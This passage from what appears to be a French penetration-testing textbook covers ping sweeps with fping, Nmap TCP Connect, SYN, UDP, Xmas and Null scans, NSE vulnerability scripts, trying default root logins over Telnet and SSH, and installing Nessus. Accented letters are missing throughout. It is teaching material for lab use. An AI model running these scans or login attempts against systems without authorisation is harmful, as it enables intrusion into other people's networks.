nombre de sauts que le paquet effectuera avant dexpirer automatiquement) et "time=29.9 ms" correspond la dure totale du voyage des paquets vers et depuis la cible. Aprs que nous avons arrt lexcution de la commande ping, nous obtenons des statistiques, notamment le nombre de paquets transmis, les paquets perdus et des informations de dure. Si la cible est teinte ou si elle bloque les paquets ICMP, vous verrez une perte de paquets de 100 % ou un message qui signale que lhte est inatteignable (selon le systme dexploitation). Si la connexion rseau est de mauvaise qualit, vous pourrez constater que des requtes arrivent expiration et que dautres obtiennent des rponses. Cela provient gnralement de problmes rseau sur le systme destinataire. Maintenant que vous connaissez le fonctionnement de la commande ping, voyons comment lexploiter en tant que hacker. Puisque les paquets ping peuvent nous aider dterminer si un hte est actif, nous utilisons ping comme un service de dcouverte dhtes. Cependant, lancer cette commande pour chaque machine potentielle, mme sur un petit rseau, se rvlera inefficace. Heureusement, il existe plusieurs outils qui permettent deffectuer des balayages ping. Il sagit dune suite de ping envoys automatiquement une plage dadresses IP. La solution la plus simple pour effectuer un balayage ping est fournie par FPing. Cet outil est dj install sur Kali et sexcute depuis le terminal (il est disponible en tlchargement pour Windows). Voici comment linvoquer : fping -a -g 172.16.45.1 172.16.45.254 > htes.txt Loption -a permet dinclure dans la sortie uniquement les htes actifs. Le rapport final sera ainsi plus clair et plus facile consulter. Loption -g permet de dfinir la plage des adresses IP balayer. Nous devons indiquer ladresse IP de dbut et celle de fin. Dans cet exemple, nous scannons toutes les adresses IP qui se trouvent entre 172.16.45.1 et 172.16.45.254. Le caractre > sert rediriger la sortie vers un fichier

que nous nommons htes.txt. Pour examiner le fichier htes.txt, ouvrez-le avec un diteur de texte ou utilisez la commande cat, qui affiche le contenu dun fichier dans la fentre de terminal : cat htes.txt De nombreuses autres options permettent de modifier le fonctionnement de FPing. Pour les connatre, consultez la page de manuel de cet outil : man fping Aprs avoir excut la commande prcdente, nous examinons le fichier htes.txt et trouvons la liste des machines cibles qui ont rpondu nos requtes ping. Ces adresses IP doivent tre ajoutes notre liste de cibles des fins dinvestigation supplmentaire. Il ne faut pas oublier que tous les htes ne rpondront pas aux requtes ping, car certains seront placs derrire des pare-feu ou bloqueront les paquets ping.

Scan des ports


Puisque nous disposons prsent dune liste de cibles, nous pouvons poursuivre notre examen par un scan des ports sur chaque adresse IP trouve. Rappelons que lobjectif de cette opration est didentifier les ports ouverts et de dterminer les services actifs sur le systme cible. Un service est une fonction particulire ralise par lordinateur, comme la messagerie lectronique, le FTP, limpression ou lenvoi de pages web. Le scan des ports quivaut cogner aux diffrentes portes et fentres dune maison et voir qui rpond. Par exemple, si nous dterminons que le port 80 est ouvert, nous pouvons tenter une connexion et obtenir des informations prcises sur le serveur web qui coute sur ce port. Chaque ordinateur dispose dun total de 65 536 (0 65 535) ports. Ils peuvent rpondre aux protocoles TCP ou UDP selon les services mis en place ou la nature des communications. Nous scannons un ordinateur afin

de connatre les ports utiliss ou ouverts. Cela nous permet davoir une meilleure ide du rle de la machine, et donc de la manire de lattaquer. Si vous ne deviez choisir quun seul outil pour effectuer un scan des ports, il faudrait vous tourner vers Nmap. Dvelopp par Gordon "Fyodor" Lyon, il est disponible gratuitement ladresse http://www.insecure.org. Vous le trouverez aujourdhui intgr de nombreuses distributions Linux, dont Kali. Bien quil soit possible dexcuter Nmap partir dune interface graphique, nous allons raliser nos scans des ports partir du terminal. Les novices en scurit et en hacking nous demandent souvent pourquoi ils doivent apprendre utiliser la version en ligne de commande dun outil plutt quemployer une interface graphique. Ces mmes personnes se plaignent souvent de la difficult de lutilisation du terminal. La rponse est simple. Tout dabord, ce mode dutilisation permet de dcouvrir les options qui modifient le comportement de loutil. Cela permet davoir une plus grande souplesse, un contrle plus fin et une meilleure comprhension de loutil. Il est galement important de comprendre que le hacking se passe rarement comme dans les films (voir ci-aprs). Enfin, il est facile dcrire des scripts qui sexcutent depuis la ligne de commande et qui tendent les fonctionnalits dorigine de loutil. Lautomatisation et les scripts sont essentiels pour faire progresser vos connaissances. Avez-vous vu le film Opration espadon, dans lequel Hugh Jackman cre un virus ? Il danse, boit un verre et semble dvelopper un virus en passant par une belle interface graphique. Cela nest tout simplement pas raliste. Nombre de dbutants en hacking pensent quune telle activit se fonde essentiellement sur une interface graphique : une fois que lassaillant est entr dans une machine, il dispose dun bureau et contrle la souris et lcran. Ce scnario est effectivement possible, mais il est rare. En gnral, lobjectif est dobtenir un shell dadministrateur ou de crer un accs cach lordinateur. Ce shell est un terminal qui permet de contrler lordinateur cible partir de la ligne de commande. Il nest pas

diffrent dun autre terminal, except quun shell distant permet de saisir des commandes depuis le terminal de lordinateur local et de les voir sexcuter sur la machine cible. Cest pourquoi il est essentiel dapprendre utiliser la version en ligne de commande des outils. En effet, aprs que vous aurez obtenu le contrle sur une machine, vous devrez y tlcharger vos outils et interagir avec elle au travers non pas dune interface graphique mais dune invite de commande. Supposons cependant que vous refusiez dapprendre utiliser la ligne de commande. Supposons galement que les diffrents outils vous aient permis dobtenir un accs sur un systme cible. Dans ce cas, vous obtiendrez non pas une interface graphique mais une invite de commande. Si vous ne savez pas comment copier des fichiers, ajouter des utilisateurs, modifier des documents et raliser dautres changements depuis la ligne de commande, tous vos efforts pour pntrer sur la cible auront t inutiles. Vous serez bloqu, tout comme Mose a vu la terre promise sans pouvoir la fouler ! Info Prcdemment, nous avons prsent le concept de pivot. Il ajoute limportance dapprendre matriser les outils depuis la ligne de commande car les outils graphiques sont rarement compatibles avec ce concept. Dans la plupart des cas, quand vous avez compromis un ordinateur et devez lutiliser comme pivot, vous travaillez depuis un terminal distant. Il est alors essentiel de savoir comment utiliser la version en ligne de commande de chaque outil. Lors dun scan, loutil cre un paquet et lenvoie chaque port indiqu de la machine. Lobjectif est danalyser la rponse retourne par le port cible. En fonction du type de scan, les rsultats peuvent tre diffrents. Il est important de comprendre le type de scan mis en uvre, ainsi que la sortie attendue.

Connexion en trois tapes Sur nimporte quel rseau, lorsque deux machines souhaitent communiquer laide du protocole TCP, elles mettent en uvre une connexion en trois tapes ( three-way handshake ). La procdure est comparable un appel tlphonique (tout au moins avant lexistence de la prsentation du numro). Lorsque vous souhaitez appeler quelquun, vous dcrochez votre tlphone et composez le numro. Le destinataire dcroche son tlphone sans savoir qui est lappelant et dit : "All ?" Lappelant se prsente en disant : "Bonjour, cest David !" Linterlocuteur rpond souvent en accueillant lappelant par : "Oh, salut David !" ce stade, les deux personnes disposent dinformations suffisantes pour que la conversation puisse se poursuivre. Les ordinateurs fonctionnent de manire comparable. Lorsque deux machines souhaitent communiquer, elles entrent dans un processus quivalent. Le premier ordinateur se connecte au second en envoyant un paquet SYN un numro de port prcis. Si le second ordinateur est lcoute, il rpond par un paquet SYN/ACK. Lorsque le premier ordinateur reoit celui-ci, il rpond par un paquet ACK. Les deux machines peuvent alors communiquer normalement. Pour reprendre notre exemple tlphonique prcdent, lappelant dorigine quivaut lenvoi du paquet SYN. Le correspondant qui dcroche son tlphone et dit "All ?" quivaut au paquet SYN/ACK. Lappelant qui se prsente quivaut au paquet ACK. Scans TCP Connect avec Nmap Notre premire action sera un scan TCP Connect. Ce type de scan est souvent considr comme le plus simple et le plus stable car Nmap tente deffectuer une connexion en trois tapes complte sur chaque port indiqu. Puisque ce scan va jusquau bout de la connexion en trois tapes et la termine ensuite proprement, il est peu probable que le systme cible soit submerg et se plante.

Sans prciser une plage de ports, Nmap scannera les 1 000 ports les plus utiliss. moins que vous ne soyez vraiment press, il est fortement recommand de scanner non pas uniquement ces 1 000 ports mais tous. En effet, il arrive souvent que les administrateurs un peu russ tentent de masquer un service en lexcutant sur un port non standard. Pour effectuer un scan de lintgralit des ports, vous devez ajouter loption p- lors de lexcution de Nmap. Loption -Pn est galement conseille car elle dsactive la dcouverte des htes et oblige Nmap scanner chaque systme comme sil tait actif. Cela sera trs utile pour dcouvrir des systmes et des ports supplmentaires ct desquels nous serions sinon passs. Pour effectuer un scan TCP Connect, il suffit dexcuter la commande suivante depuis un terminal : nmap -sT -p- -Pn 192.168.56.102 Prenons un peu de temps pour tudier cette commande. Le premier mot, nmap, dclenche lexcution du scanner de ports Nmap. La deuxime partie, -sT, indique Nmap deffectuer un scan TCP Connect. Plus prcisment, -s est utilis pour indiquer que nous allons prciser le type scan effectuer, tandis que T correspond au type TCP Connect. Nous ajoutons -p- pour demander un scan de tous les ports la place des 1 000 par dfaut. La dernire option, -Pn, vite la phase de dcouverte des htes et scanne toutes les adresses comme si le systme tait actif et rpondait aux requtes ping. Nous terminons par ladresse IP cible ; votre adresse IP cible sera videmment diffrente de celle illustre sur les captures dcran. La Figure 3.2 montre le scan TCP Connect de Nmap sur la cible Metasploitable et la sortie obtenue.

Figure 3.2 Un scan TCP Connect et ses rsultats. Trs souvent, le scan doit se faire sur lintgralit dun sous-rseau ou une plage dadresses IP. Dans ce cas, il suffit de prciser Nmap la plage des adresses en ajoutant loctet de la dernire adresse IP : nmap -sT -p- -Pn 192.168.56.1-254

Cette commande demande Nmap deffectuer un scan des ports sur tous les htes dont les adresses IP se situent entre 192.168.56.1 et 192.168.56.254. linstar des balayages ping, cette technique peut normment amliorer votre productivit au cours des oprations de scan. Si le scan doit concerner plusieurs htes dont les adresses IP ne se suivent pas, il suffit de crer un fichier texte et dy indiquer chaque adresse sur sa propre ligne. Pour passer ce fichier Nmap, il faut alors ajouter loption -iL chemin_du_fichier. Nous pouvons ainsi scanner tous les htes cibles partir dune seule commande. Lorsque cest possible, il est prfrable de crer un seul fichier texte qui comprend toutes les adresses IP cibles. La plupart des outils que nous prsenterons disposent en effet dune option ou dun mcanisme capable de lire un tel fichier texte. Grce cette liste, le travail de saisie sera moindre et, plus important encore, elle permet de rduire les risques de scan sur une cible non autorise en raison dune erreur de saisie dans une adresse. Scans SYN avec Nmap Le scan SYN est probablement le scan de ports Nmap le plus connu. Les raisons de sa popularit sont nombreuses, notamment le fait quil sagit du scan Nmap par dfaut. Si nous lanons la commande Nmap sans prciser le type de scan avec loption -s, il choisit par dfaut un scan SYN. Outre le fait quil sagit du choix par dfaut, sa popularit vient galement de sa rapidit suprieure au scan TCP Connect, tout en restant relativement sr, avec peu de risques de submerger ou de planter le systme cible. Il est plus rapide car, la place dune connexion intgrale en trois tapes, il ralise uniquement les deux premires. Dans un scan SYN, la machine dorigine envoie un paquet SYN la cible, qui rpond par un paquet SYN/ACK ( condition que le port soit utilis et non filtr), comme cela se passe dans un scan TCP Connect. ce stade, plutt qumettre le paquet ACK classique, la machine dorigine

envoie un paquet RST (rinitialisation) la cible. Il indique celle-ci doublier les paquets prcdents et de fermer la connexion entre les deux ordinateurs. Lavantage de rapidit du scan SYN par rapport au scan TCP Connect vient manifestement du nombre infrieur de paquets changs entre les htes. Si quelques paquets peuvent sembler napporter quun avantage relatif, noubliez pas quils vont sadditionner trs rapidement si de nombreux htes sont scanns. Si nous reprenons notre analogie de la connexion en trois tapes avec un appel tlphonique, un scan SYN quivaudrait lappel dune personne, au dcrochage du tlphone par celle-ci et sa rponse "All ?", puis au raccrochage sans autre mot. Dans certains cas, le scan SYN a galement lavantage dtre plus discret et furtif ; cest pourquoi il est parfois appel Stealth Scan. La nature discrte de ce scan vient du fait que la connexion en trois tapes nest jamais ralise en totalit et que la connexion officielle nest donc jamais tablie 100 %. Certains systmes de journalisation et applications attendent lachvement de la connexion en trois tapes avant de consigner une activit. Dans ce cas, puisquun scan SYN ne va jamais au bout de la connexion, il peut ne pas tre dtect. Notez quil sagit dune exception, non de la rgle. Tous les pare-feu et les systmes de dtection dintrusion modernes dtecteront et signaleront un scan SYN ! Puisquil sagit du type de scan par dfaut de Nmap, il est inutile de prciser son type avec loption -s. Cependant, puisque nous voulons tablir des bases solides, il est prfrable de prendre lhabitude de prciser le type du scan. Pour lancer un scan SYN, excutez la commande suivante depuis une fentre de terminal : nmap -sS -p- -Pn 192.168.56.102 Elle est identique la prcdente, lexception de loption -sS utilise

la place de -sT, qui demande Nmap deffectuer un scan SYN plutt quun scan TCP Connect. Il nest pas trs difficile de mmoriser ces types de scan, car la lettre "S" correspond SYN et la lettre "T", TCP Connect. Les autres options ont t expliques la section prcdente. La Figure 3.3 illustre le rsultat dun scan SYN sur notre cible.

Figure 3.3 Un scan SYN et ses rsultats. Comparez le temps dexcution total entre les deux scans illustrs aux Figures 3.2 et 3.3. Mme dans notre environnement simple et une cible

unique, le scan SYN se rvle plus rapide. Scans UDP avec Nmap Les testeurs dintrusion novices font souvent lerreur dignorer UDP lors du scan des ports. En gnral, ces aspirants hackers lancent Nmap, effectuent un seul scan (habituellement de type SYN) et passent au scan des vulnrabilits. Il ne faut surtout pas ngliger le scan des ports UDP ! Il faut bien comprendre que les scans TCP Connect et SYN se fondent sur des communications TCP. TCP est lacronyme de Transmission Control Protocol, tandis quUDP est celui de User Datagram Protocol. Les ordinateurs peuvent communiquer entre eux en utilisant TCP ou UDP, mais il existe des diffrences importantes entre ces deux protocoles. TCP est un "protocole orient connexion" car il exige des communications synchronises entre lmetteur et le rcepteur. De cette faon, les paquets envoys depuis un ordinateur vers un autre arriveront intacts au destinataire et dans lordre o ils ont t mis. En revanche, UDP est un protocole "sans connexion" car lexpditeur envoie simplement des paquets au destinataire, sans mettre en place un mcanisme qui garantit leur arrive sur le rcepteur. Chaque protocole prsente de nombreux avantages et inconvnients, notamment au niveau de la rapidit, de la fiabilit et du contrle derreurs. Pour matriser le scan des ports, vous devez comprendre parfaitement ces protocoles. Prenez le temps quil faut pour les tudier. Nous avons prcdemment compar la connexion en trois tapes un appel tlphonique. Cette ngociation est une composante cl des communications TCP qui permet lmetteur et au rcepteur de rester synchroniss. Puisque UDP est un protocole sans connexion, ce type de communication est plus souvent compar lenvoi dune lettre. Dans la plupart des cas, lmetteur crit simplement une adresse sur une enveloppe, colle un timbre et la glisse dans la bote aux lettres. un moment donn, le facteur arrive et prend la lettre, qui entre dans le

rseau de distribution du courrier. Dans cet exemple, lexpditeur na aucun avis de rception ni de confirmation de la distribution. Aprs que le facteur a pris la lettre, lmetteur na aucune garantie quelle arrivera sa destination finale. Vous connaissez prsent la diffrence de base entre TCP et UDP. Noubliez pas que certains services se fondent non pas sur TCP mais sur UDP, dont, parmi les plus minents, DHCP, DNS (pour les recherches individuelles), SNMP et TFTP. Lune des qualits les plus importantes dun testeur dintrusion est sa minutie. Il serait plutt embarrassant que vous passiez ct dun service uniquement parce que vous avez oubli dexcuter un scan UDP sur la cible. TCP se trouve au cur de la technique mise en uvre par les scans TCP Connect et SYN. Si nous voulons dcouvrir les services qui utilisent UDP, nous devons demander Nmap de crer des scans avec des paquets UDP. Heureusement, Nmap facilite cette opration. Pour raliser un scan UDP sur notre cible, nous devons simplement excuter la commande suivante : nmap -sU 192.168.56.102 Notez les diffrences entre cette commande et les prcdentes. Tout dabord, nous demandons Nmap un scan UDP laide de loption -sU. Par ailleurs, les options -p- et -Pn ont disparu. En effet, les scans UDP sont trs lents ; mme une excution sur les 1 000 ports par dfaut peut durer trs longtemps. La Figure 3.4 illustre un scan UDP. nouveau, comparez la dure totale du scan par rapport celle des Figures 3.2 et 3.3.

Figure 3.4 Un scan UDP et ses rsultats. Il est important de ne pas oublier quune communication UDP ne dclenche pas ncessairement une rponse du rcepteur. Si la machine cible ne confirme pas la rception dun paquet, comment Nmap peut-il faire la diffrence entre un port ouvert et un port filtr (par le parefeu) ? Autrement dit, si un service est disponible et accepte les paquets UDP, son fonctionnement normal est de prendre le paquet sans renvoyer un message indiquant "je lai eu". De mme, un pare-feu absorbera souvent le paquet sans renvoyer de rponse lexpditeur. Dans cet exemple, mme si un paquet a t reu et lautre a t bloqu, il nexiste aucun moyen de savoir si un paquet a t accept par un service ou stopp par le pare-feu car lmetteur ne reoit aucune rponse. Cest pourquoi Nmap a des difficults dterminer si un port UDP est ouvert ou filtr. En consquence, lorsquil ne reoit aucune rponse un scan UDP, il considre que le port est "ouvert | filtr". En de rares occasions, un service UDP enverra une rponse lmetteur. Nmap est suffisamment intelligent pour comprendre que, dans ce cas, un service

coute et rpond aux requtes. Il indiquera alors que les ports sont "ouverts". Nous lavons dj mentionn, les dbutants ignorent souvent les scans UDP. Cela vient probablement du fait que la plupart des scans de ports UDP ordinaires fournissent trs peu dinformations et marquent quasiment chaque port comme "ouvert | filtr". Aprs avoir constat le mme rsultat sur de nombreux htes, il est facile dtre dsappoint par les scans UDP. Toutefois, cest oublier que les dveloppeurs de Nmap ont prvu un moyen pour que les scans UDP fournissent des rsultats plus prcis. Pour obtenir une rponse plus intressante, nous ajoutons loption -sV lors dun scan UDP. Son rle est de scanner les versions mais, dans ce cas, elle nous aide restreindre les rsultats du scan. Lorsque le scan de versions est activ, Nmap envoie des sondes supplmentaires chaque port "ouvert | filtr". Elles tentent didentifier des services en leur envoyant des paquets forgs de manire particulire. Ces paquets permettent souvent de dclencher lenvoi dune rponse par la cible. Certains ports indiqus "ouverts | filtrs" peuvent alors devenir "ouverts". Pour activer le scan de versions, il suffit dajouter la lettre "V" dans loption -s, puisque nous avons dj loption -sU pour prciser le type de scan, au moment de lexcution de la commande : nmap -sUV 192.168.56.102 Scans Xmas avec Nmap Dans le monde informatique, une RFC est un document qui fournit des notes ou des spcifications techniques sur une technologie ou une norme. Ces RFC peuvent apporter des quantits de dtails sur le fonctionnement interne dun systme. Puisque ces documents dcrivent en dtail le

fonctionnement technique dun systme, les assaillants et les hackers les consultent souvent afin de savoir si le systme ne prsenterait pas des faiblesses ou des failles. Les scans Xmas Tree et Null exploitent simplement une faille dcouverte ainsi. Le nom du scan Xmas Tree (arbre de Nol) vient du fait que les drapeaux FIN, PSH et URG sont activs ; le paquet a tellement de drapeaux activs quil est aussi illumin quun sapin de Nol. Sachant ce que nous savons sur les communications TCP et la connexion en trois tapes, il doit tre vident quun paquet Xmas Tree est trs trange car les drapeaux SYN et ACK ne sont pas positionns. Pourtant, ce paquet inhabituel a un rle. Si le systme que nous scannons respecte la RFC qui dcrit limplmentation de TCP, nous pouvons envoyer lun de ces paquets bizarres pour dterminer ltat courant du port. La RFC de TCP stipule que si un port ferm reoit un paquet dans lequel un drapeau SYN, ACK ou RST nest pas positionn (cest--dire le type de paquets cr par un scan Xmas Tree), alors, le port doit rpondre par un paquet RST. Par ailleurs, elle prcise que si un port ouvert reoit un paquet sans drapeau SYN, ACK ou RST, ce paquet doit tre ignor. Prenez le temps de relire ces deux phrases, car leur sens permet de comprendre la rponse obtenue par de tels scans. Supposons que le systme dexploitation de la cible respecte la lettre la RFC de TCP. Nmap est alors capable de dterminer ltat du port sans aller au bout ni mme initier une connexion sur le systme cible. Vous devez savoir que tous les systmes dexploitation disponibles aujourdhui ne sont pas pleinement conformes la RFC. En gnral, les scans Xmas Tree et Null fonctionnent avec les machines Unix et Linux, mais pas avec les ordinateurs Windows. Cest pourquoi ces scans sont plutt inefficaces sur les cibles Microsoft. Pour mettre en place un scan Xmas Tree, il suffit de remplacer loption sU de lexemple prcdent par loption -sX :

nmap -sX -p- -Pn 192.168.56.102 La Figure 3.5 illustre lexcution de la commande pour un scan Xmas Tree sur notre cible Linux.

Figure 3.5 Un scan Xmas Tree et ses rsultats. Scans Null avec Nmap linstar des scans Xmas Tree, les scans Null correspondent des paquets qui ne respectent pas les communications TCP normales. Un scan Null est par de nombreux aspects loppos exact dun scan Xmas Tree car il se fonde sur des paquets totalement dpourvus de drapeaux ; ils sont vides. Les systmes cibles rpondront aux scans Null de la mme manire

quaux scans Xmas Tree. Plus prcisment, un port ouvert ne renverra aucune rponse Nmap, tandis quun port ferm rpondra par un paquet RST. Il est important de ne pas oublier que ces scans ne sont fiables quavec les systmes dexploitation qui se conforment intgralement la RFC de TCP. Lun des principaux avantages des scans Xmas Tree et Null est que, dans certains cas, nous sommes en mesure de contourner les filtres simples et les listes de contrle daccs (ACL, Access Control List). Les filtres de base oprent souvent en bloquant les paquets SYN entrants. Lide est quen empchant lentre dun paquet SYN dans le systme la connexion en trois tapes ne peut pas se faire. Si cette ngociation na pas lieu, alors, aucun flux de communication TCP entre les systmes nest cr ou, plus prcisment, aucune communication TCP ne peut provenir de lextrieur du filtre. Il est important de comprendre que les scans Xmas Tree et Null ne cherchent pas tablir un canal de communication. Leur objectif est de dterminer si un port est ouvert ou ferm. En ayant le paragraphe prcdent en tte, rflchissez lexemple suivant. Supposons que notre administrateur rseau Alain Trieur place un simple pare-feu devant son systme afin dempcher toute personne extrieure son rseau de sy connecter. Le pare-feu rejette simplement les communications externes qui commencent par un paquet SYN. Alain demande son copain, le hacker thique, de scanner son systme. Les scans TCP Connect initiaux ne rvlent rien. Cependant, en tant que testeur dintrusion expriment, ce hacker thique ne se limite pas cette premire action et poursuit par des scans UDP, Xmas Tree et Null. Un sourire illumine son visage lorsquil dcouvre que ses scans Xmas Tree et Null dvoilent des ports ouverts sur le systme dAlain. Ce scnario est possible car Nmap cre des paquets sans que le drapeau SYN soit activ. Puisque le filtre ne rejette que les paquets entrants dont le drapeau SYN est positionn, il laisse passer les paquets Xmas Tree et

Null. Pour raliser un scan Null, nous excutons la commande suivante : nmap -sN -p- -Pn 192.168.56.102 Le moteur de script de Nmap Ne vous y trompez pas, Nmap est un outil formidable. Il est mature, robuste, bien document et bnficie dune communaut active ; toutefois, le moteur de script de Nmap (NSE, Nmap Scripting Engine ) lui donne une autre envergure. Ce moteur de script complte Nmap en apportant des fonctionnalits et des possibilits qui vont bien au-del des outils classiques de scan des ports. Pour pleinement exploiter Nmap, il est essentiel dapprendre utiliser NSE. Lorsquil est correctement mis en uvre, NSE permet Nmap de mener bien diverses tches, dont le scan de vulnrabilits, la dcouverte avance de rseaux, la dtection de portes drobes et, dans certains cas, la ralisation dun exploit. La communaut NSE est trs active. De nouveaux scripts et possibilits sont constamment ajouts. Si vous crez une nouvelle utilisation de NSE, nous vous encourageons partager votre travail. Pour que les choses restent simples, NSE rpartit les scripts en catgories, dont auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version et vuln. Chaque catgorie comprend diffrents scripts, chacun mettant en uvre une fonction prcise. Un hacker ou un testeur dintrusion peut excuter un seul script ou tous ceux de la catgorie. Il est important de lire la documentation de chaque catgorie et de chaque script avant de les invoquer sur une cible. Les informations les plus rcentes sur NSE sont disponibles ladresse http://nmap.org/nsedoc/. Info NSE et ses scripts sont intgrs Nmap. Vous navez rien dautre

installer ou configurer. Pour invoquer NSE, nous ajoutons loption --script suivie du nom du script et de ladresse IP : nmap --script banner 192.168.56.102 Le script banner est une extension de Nmap qui cre une connexion sur un port TCP et affiche sur le terminal toute sortie produite par le systme cible. Il sera particulirement utile pour identifier des services mconnus attachs des ports inhabituels. De mme, nous pouvons invoquer lintgralit des scripts dune catgorie en utilisant le format --script nom_de_catgorie : nmap --script vuln 192.168.56.102 La catgorie vuln comprend des scripts qui recherchent des problmes connus sur le systme cible. Ils affichent des messages uniquement lorsquune vulnrabilit est dcouverte. La fonctionnalit vuln anticipe parfaitement notre prsentation du scan des vulnrabilits. La Figure 3.6 illustre les rsultats dun scan vuln de NSE sur notre cible Metasploitable. Faites particulirement attention tout CVE, OSVDB ou lien indiqu. Nous y reviendrons dans la phase dexploitation. Pour le moment, prenez des notes et documentez correctement vos dcouvertes.

Figure 3.6 Un scan vuln de NSE et ses rsultats. Conclusion Les bases du scan des ports tant prsent tablies, il reste quelques options dcrire. Elles permettent dactiver des fonctionnalits supplmentaires qui se rvleront utiles au cours de votre carrire de testeur dintrusion.

Nous lavons mentionn prcdemment, loption -sV dclenche un scan de versions. Pour cette opration, Nmap envoie des sondes sur le port ouvert dans le but dobtenir des informations prcises sur le service lcoute. Lorsque cest possible, Nmap fournira des dtails sur ce service, notamment ses numros de version et dautres informations de prsentation. Toutes ces donnes doivent tre ajoutes vos notes. Nous vous conseillons dinclure loption -sV notamment sur les ports inhabituels ou inattendus, car un administrateur rus aura pu dplacer le serveur web sur le port 34567 pour tenter de dissimuler ce service. Loption -T de Nmap permet de modifier la rapidit du scan des ports. Les temporisations vont de 0 5, avec 0 qui correspond au mode le plus lent et 5, au plus rapide. Cette option peut se rvler extrmement utile en fonction de la situation. Les scans lents sont plus difficiles dtecter, tandis que les scans rapides conviendront en cas de temps limit ou dun grand nombre dhtes cibler. Sachez toutefois que les scans les plus rapides produisent des rsultats moins prcis. Enfin, loption -O sera utile pour dterminer le systme dexploitation, notamment pour savoir si la cible attaque fonctionne sous Windows, Linux ou autre. En connaissant le systme dexploitation de la cible, nous gagnerons du temps car nous pourrons focaliser nos attaques sur les faiblesses connues de ce systme. Il est tout fait inutile denvisager des exploits applicables une machine Linux si la cible utilise Windows. Une fois que le scan des ports de la cible est termin, nous disposons dune liste de ports ouverts et de services. Ces informations doivent tre documentes et tudies attentivement. Pendant lanalyse des rsultats de Nmap, vous devez essayer de vous connecter aux services daccs distance dcouverts par le scan. Le chapitre suivant sattardera sur un outil qui tente des connexions brutales. Pour le moment, vous pouvez les essayer en utilisant des noms dutilisateurs et des mots de passe par dfaut. Vous pouvez galement essayer avec les informations, les noms dutilisateurs ou les adresses lectroniques dcouverts au cours de la reconnaissance. Il est possible daller au bout dun test dintrusion en

dcouvrant simplement une connexion daccs distance active et douvrir une session avec un nom dutilisateur et un mot de passe par dfaut. Telnet et SSH sont des services daccs distance auxquels vous devez toujours essayer de vous connecter. Pour cela, excutez les commandes suivantes : telnet ip_cible ssh root@ip_cible Dans cet exemple, ip_cible correspond ladresse IP de la victime. Il est fort probable que ces tentatives choueront, mais dans les rares occasions o elles russiront vous aurez tout gagn.

Scan de vulnrabilits
prsent que nous disposons dune liste dadresses IP, de ports ouverts et de services sur chaque machine, il est temps de scanner ces cibles la recherche de vulnrabilits. Une vulnrabilit correspond dans le logiciel ou la configuration du systme une faiblesse que nous pouvons exploiter. Elles peuvent prendre diffrentes formes, mais elles sont souvent lies des correctifs non appliqus. Les fournisseurs publient des correctifs qui suppriment des vulnrabilits ou des problmes connus. Avec les logiciels et les systmes auxquels les correctifs nont pas t appliqus, les tests dintrusion arrivent souvent rapidement leur conclusion car certaines vulnrabilits permettent lexcution dun code distance. Cette possibilit est le Saint-Graal du hacking. Info Lexcution de code distance permet un assaillant ou un testeur dintrusion de contrler totalement lordinateur distant comme sil tait assis devant lui. Cela lui permet notamment de copier, de modifier et de

supprimer des documents ou des fichiers, dinstaller de nouveaux logiciels, de modifier ou de dsactiver des logiciels de dfense, comme le pare-feu ou lantivirus, dinstaller des enregistreurs de frappe ou des portes drobes, et dutiliser le nouvel ordinateur compromis pour attaquer dautres machines. Il est important de comprendre cette tape, car ses rsultats alimenteront directement la phase 3, au cours de laquelle nous tenterons un exploit afin dobtenir un accs au systme. Pour rechercher les vulnrabilits sur un systme, nous utilisons un scanner de vulnrabilits. Plusieurs outils sont disponibles, mais, dans cet ouvrage, nous nous limiterons Nessus. Nessus est un trs bon outil disponible gratuitement (tant que son utilisation reste dans un cadre personnel) sur son site web ladresse http://www.tenable.com/products/nessus. Tenable, le crateur de Nessus, vous autorise tlcharger une version complte et obtenir une cl gratuitement. Si vous souhaitez utiliser Nessus dans un cadre professionnel, vous devez choisir linscription Professional Feed la place de Home Feed. Il vous en cotera 1 500 dollars par an. Dans le cadre de cet ouvrage, nous utilisons la version personnelle. Pour obtenir une cl, rendez-vous sur la page http://nessus.org/register ou cliquez sur le lien appropri de la page daccueil de Nessus. Linstallation de Nessus ne pose aucune difficult. Il est compatible avec les principaux systmes dexploitation, notamment Linux, Windows, OS X, FreeBSD et dautres. Nessus sexcute selon un modle clientserveur. Cela permet davoir, si ncessaire, plusieurs clients connects linstance serveur. Aprs quil a t configur, le serveur sexcute silencieusement en arrire-plan et nous pouvons interagir avec lui au travers dun navigateur. Sur Internet, vous trouverez de nombreux didacticiels qui expliquent comment installer Nessus sur Kali (ou tout autre systme Linux). En gnral, cela se passe de la manire suivante : 1. Tlchargez le programme dinstallation partir de

www.nessus.org. 2. Inscrivez-vous sur le site de Nessus afin dobtenir un code Home Feed pour une utilisation non commerciale. Le code est envoy par courrier lectronique et vous devez lutiliser pour enregistrer Nessus. Noubliez pas de consulter le CLUF (contrat de licence utilisateur final), qui dfinit les conditions dutilisation de la version Home Feed. 3. Installez le programme. 4. Crez un utilisateur Nessus pour accder au systme. 5. Saisissez le code Home Feed (ou Professional Feed). 6. Actualisez les plugins. 7. Utilisez un navigateur pour vous connecter au serveur Nessus. Info Linstallation de Nessus sur BackTrack ou Kali se fait trs facilement. Vous pouvez utiliser la commande apt-get ou tlcharger le paquetage .deb partir du site de Nessus. Voici comment installer un logiciel obtenu sous forme de fichier .deb : dpkg i nom_du_fichier_.deb__installer Si vous utilisez Kali ou BackTrack, linstallation laide de la commande apt-get se passe de la manire suivante depuis un terminal : apt-get install nessus Configurez ensuite un utilisateur Nessus en saisissant la commande suivante :

/opt/nessus/sbin/nessus-adduser Elle demande de choisir un nom dutilisateur et un mot de passe. Rpondez chaque question qui concerne lutilisateur Nessus. Lorsque la cration est termine, vous devez saisir le code denregistrement. Pour cela, excutez les commandes suivantes dans un terminal : /opt/nessus/bin/nessus-fetch --register code_activation Vous devez remplacer code_activation par la cl qui vous a t envoye par Tenable. Elle correspond une installation unique ; si vous devez rinstaller Nessus, vous devrez demander un nouveau code. Vous devez ensuite patienter quelques minutes pendant que les plugins de base sont tlchargs sur votre machine locale. Une fois cette installation termine, lancez le serveur Nessus laide de la commande suivante : /etc/init.d/nessusd start Si vous redmarrez votre machine dattaque et tentez daccder Nessus laide dun navigateur, il est possible que vous receviez le message derreur "Unable to Connect". Dans ce cas, ouvrez une fentre de terminal et excutez de nouveau la commande /etc/init.d/nessusd start. Les plugins sont au cur de Nessus. Un plugin correspond un petit morceau de code envoy la machine cible afin de vrifier lexistence dune vulnrabilit connue. Nessus comprend des centaines de plugins. Ils sont tlchargs au 